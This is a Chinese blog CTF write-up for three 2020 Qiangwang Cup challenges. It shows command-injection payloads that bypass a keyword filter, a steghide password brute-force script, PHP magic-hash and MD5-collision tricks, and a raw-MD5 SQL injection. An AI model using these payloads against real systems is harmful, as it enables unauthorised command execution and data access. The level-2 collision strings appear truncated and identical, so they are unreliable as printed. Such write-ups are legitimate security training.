

# 第四届强网杯强网先锋的部分write up

原创

[KogRow](#) 于 2020-08-24 09:22:38 发布 188 收藏

分类专栏: [CTF web安全](#) 文章标签: [ctf](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/shuaicenglou3032/article/details/108172758>

版权



[CTF 同时被 2 个专栏收录](#)

59 篇文章 4 订阅

订阅专栏



[web安全](#)

24 篇文章 1 订阅

订阅专栏

## 1、《主动》：

打开看到代码：

```
<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?>
```

这是命令执行，试了试可以执行ls命令：

```
http://39.96.23.228:10002/index.php?ip=;ls
```

但是过滤了cat vi vim和"flag"关键字，

因此构造payload，拼接绕过黑名单：

```
http://39.96.23.228:10002/index.php?ip=;a=fl;b=ag.php;tac%20$a$b
```

cat用不了，试了试倒着输出文件的tac，成功拿到flag:

```
<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?>
$flag = "flag{I_like_qwb_web}";
```

<https://blog.csdn.net/shuaicenglou3032>

还有其他绕过骚操作看这里：[CTF下的命令执行漏洞利用及绕过方法总结](#)

## 2. 《upload》

下载下来是一个pcapng，用wireshark打开它。

这道题比较简单，我们可以分离出来一个jpg和一个html。

html代码如下，内有提示：

```
15 11 016428 102 168 100 1 102 168 100 133 TCP 1517
<
<html> \n
<meta charset="utf-8">\n
<body> \n
    <form action="steghide.php" method="post" \n
        enctype="multipart/form-data"> \n
        <label for="file">文件名:</label> \n
        <input type="file" name="file" id="file" /> \n
        <input type="submit" name="submit" value="提交" /> \n
    \t<!--i use steghide with a good password-->\n
    </form> \n
</body> \n
</html>\n
```

<https://blog.csdn.net/shuaicenglou3032>

注释那里，他说他用steghide隐藏了一些东西。

然后我们看分离出来的这张jpg:



我们在ubuntu中使用命令sudo apt install steghide安装好steghide。

虽然我不知道它密码是多少，但我首先盲猜是123456:

```
pwn@ubuntu:~$ steghide extract -sf a.jpg -p 123456
wrote extracted data to "flag.txt".
```

成功了，打开就看到了flag:

```
pwn@ubuntu:~$ steghide extract -sf a.jpg -p 123456
wrote extracted data to "flag.txt".
pwn@ubuntu:~$ cat flag.txt
flag{te11_me_y0u_like_it}pwn@ubuntu:~$
```

其实这里如果不是123456的话就要自己准备字典进行爆破，下面给出大佬的bash爆破脚本:

```
#bruteStegHide.sh
#!/bin/bash

for line in `cat $2`;do
    steghide extract -sf $1 -p $line > /dev/null 2>&1
    if [[ $? -eq 0 ]];then
        echo 'password is: '$line
        exit
    fi
done
```

用法:

```
# ./bruteStegHide.sh test.jpg passwd.txt
```

原文: [https://blog.csdn.net/Blood\\_Seeker/article/details/81837571](https://blog.csdn.net/Blood_Seeker/article/details/81837571)

### 3. 《funhash》

代码:

```
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();

?>
```

共三关。

第一关是比较少见的MD4，看要求是找到一个md4值与自身相同的值，根据php的弱类型比较!=，我估计是从0E开头的数字里面找，这里上一个国外大佬的python脚本：

```

import hashlib
import Crypto.Hash.MD4
import re
prefix = '0e'
def breakit():
    iters = 0
    while 1:
        s = (prefix + str(iters)).encode('utf-8')
        hashed_s = hashlib.new('md4', s).hexdigest()
        iters = iters + 1
        r = re.match('^0e[0-9]{30}', hashed_s)
        if r:
            print ("[+] found! md4( {} ) ---> {}".format(s, hashed_s))
            print ("[+] in {} iterations".format(iters))
            exit(0)
        if iters % 1000000 == 0:
            print ("[+] current value: {}          {} iterations, continue...".format(s, iters))
breakit()

```

执行之后找出来该值是：0e251288019，其md4摘要为：0e874956163641961271069404332409。

```

> Windows PowerShell
[+] current value: b'0e214999999' 215000000 iterations, continue...
[+] current value: b'0e215999999' 216000000 iterations, continue...
[+] current value: b'0e216999999' 217000000 iterations, continue...
[+] current value: b'0e217999999' 218000000 iterations, continue...
[+] current value: b'0e218999999' 219000000 iterations, continue...
[+] current value: b'0e219999999' 220000000 iterations, continue...
[+] current value: b'0e220999999' 221000000 iterations, continue...
[+] current value: b'0e221999999' 222000000 iterations, continue...
[+] current value: b'0e222999999' 223000000 iterations, continue...
[+] current value: b'0e223999999' 224000000 iterations, continue...
[+] current value: b'0e224999999' 225000000 iterations, continue...
[+] current value: b'0e225999999' 226000000 iterations, continue...
[+] current value: b'0e226999999' 227000000 iterations, continue...
[+] current value: b'0e227999999' 228000000 iterations, continue...
[+] current value: b'0e228999999' 229000000 iterations, continue...
[+] current value: b'0e229999999' 230000000 iterations, continue...
[+] current value: b'0e230999999' 231000000 iterations, continue...
[+] current value: b'0e231999999' 232000000 iterations, continue...
[+] current value: b'0e232999999' 233000000 iterations, continue...
[+] current value: b'0e233999999' 234000000 iterations, continue...
[+] current value: b'0e234999999' 235000000 iterations, continue...
[+] current value: b'0e235999999' 236000000 iterations, continue...
[+] current value: b'0e236999999' 237000000 iterations, continue...
[+] current value: b'0e237999999' 238000000 iterations, continue...
[+] current value: b'0e238999999' 239000000 iterations, continue...
[+] current value: b'0e239999999' 240000000 iterations, continue...
[+] current value: b'0e240999999' 241000000 iterations, continue...
[+] current value: b'0e241999999' 242000000 iterations, continue...
[+] current value: b'0e242999999' 243000000 iterations, continue...
[+] current value: b'0e243999999' 244000000 iterations, continue...
[+] current value: b'0e244999999' 245000000 iterations, continue...
[+] current value: b'0e245999999' 246000000 iterations, continue...
[+] current value: b'0e246999999' 247000000 iterations, continue...
[+] current value: b'0e247999999' 248000000 iterations, continue...
[+] current value: b'0e248999999' 249000000 iterations, continue...
[+] current value: b'0e249999999' 250000000 iterations, continue...
[+] current value: b'0e250999999' 251000000 iterations, continue...
[+] found! md4( b'0e251288019' ) ---> 0e874956163641961271069404332409
[+] in 251288020 iterations
PS C:\Users\fwk\Desktop>

```

拿下第一关。

现在来看第二关，第二关要求是hash2不能等于hash3且为强比较，然后hash2和hash3的MD5值必须相等，这个就很多了。

```
hash2=
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%0

hash3=
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%0

这两个是已经urlencode好的了参数
原文：https://blog.csdn.net/qq_19980431/article/details/83018232
```

拿下第二关，当然，也可以使用数组的方式：hash2[]=1&hash3[]=2，这个更为简洁。

然后第三关是SQL注入与hash结合的类型。

构造hash4=fffdyop，具体原因看这篇：<https://blog.csdn.net/CLarali0/article/details/83590345>

然后拿到flag:

```
39.101.177.96/?hash1=0e251288019&hash2[]=1&hash3[]=2&hash4=fffdyop

<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($$_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
    die('level 1 failed');
}

//level 2
if ($$_GET["hash2"] === $_GET["hash3"] || md5($_GET["hash2"]) !== md5($_GET["hash3"]))
{
    die('level 2 failed');
}

//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"], true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();

?>
array(3) { ["id"]=> string(1) "1" ["flag"]=> string(24) "flag(y0u_w1ll_1ke_h4sh)" ["password"]=> string(32) "641ec1386cb6a65f6831a48be12c8ad1" }
```

<https://blog.csdn.net/shuaicenglou3032>

-----end-----